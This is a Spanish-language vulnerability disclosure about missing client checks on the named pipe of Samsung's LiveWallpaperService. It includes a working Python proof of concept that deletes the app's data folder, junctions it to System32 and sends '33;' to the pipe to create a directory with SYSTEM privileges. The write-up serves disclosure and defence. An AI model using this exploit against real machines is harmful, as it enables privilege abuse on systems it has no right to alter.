
Un control de acceso inadecuado en LiveWallpaperService anterior a la versión 3.0.9.0 permite crear un directorio del sistema con un nombre específico sin el permiso adecuado.
Versión de Windows probada: Windows 10 20H2 (Build 19042.1348) 64bit
Versión de Live Wallpaper: 3.0.9.0 o anterior
Existe un LiveWallpaperService que funciona por defecto en los portátiles Samsung, pero había una vulnerabilidad que creaba el directorio SYSTEM en un directorio con privilegios SYSTEM dentro del servicio SYSTEM.
Live Wallpaper suele venir instalado por defecto en los portátiles Samsung, pero también es una aplicación disponible en Microsoft Store. La aplicación se puede ejecutar con permisos de usuario y se comunica entre el servidor y el cliente a través de Named PIPE IPC. En ese momento, el PIPE Server opera con privilegios SYSTEM y no verifica quiénes son los clientes.
A continuación se muestra el proceso de operación que se realiza cuando se lanza la aplicación correspondiente.
El servidor, al recibir la cadena unicode '33;', accede a la carpeta 'C:\Users{username}\AppData\Local\Packages\Sidia.LiveWallpaper_wkpx6gdq8qyz8' y comprueba la existencia del directorio LiveWallpaperData. Se crea un nuevo directorio del sistema de archivos en el directorio con el nombre 'LiveWallpaperData'.
Se utiliza Named PIPE para comunicarse entre procesos. Dado que no hay una inspección separada del cliente, el atacante puede abrirlo directamente y enviar los datos deseados.
Primero, después de abrir Named PIPE directamente, se crea un junction de directorio a C:\Windows\System32 utilizando symboliclink-testing-tools producido por james forshaw. Se crea como un subdirectorio del directorio System32 con privilegios.
Aquí está el PoC para esa vulnerabilidad.
Para realizar el PoC, deben cumplirse las siguientes condiciones:
# python 3.7.2
import os
import shutil
import time
import getpass
def stringToWstring(st : str) -> str:
result = ''
for i in st:
result += i+'\x00'
return result
def main():
# current user name
username = getpass.getuser()
# path settings
path1 = f'C:\\Users\\{username}\\AppData\\Local\\Packages\\Sidia.LiveWallpaper_wkpx6gdq8qyz8'
path2 = 'C:\\Windows\\System32'
# delete directory
if os.path.isdir(path1):
shutil.rmtree(path1)
# create directory junction
command = f'CreateMountPoint.exe "{path1}" "{path2}"'
os.system(command)
# write data to named pipe
with open('\\\\.\\pipe\\LiveWallpaperPipe', 'a') as f:
f.write(stringToWstring('33;'))
# IPC delay time
time.sleep(2)
# directory check
if os.path.isdir(path2+'\\LiveWallpaperData'):
print('[+] Success')
else:
print('[-] failed')
# delete directory junction
command = f'DeleteMountPoint.exe {path1}'
os.system(command)
shutil.rmtree(path1)
if __name__=='__main__':
main()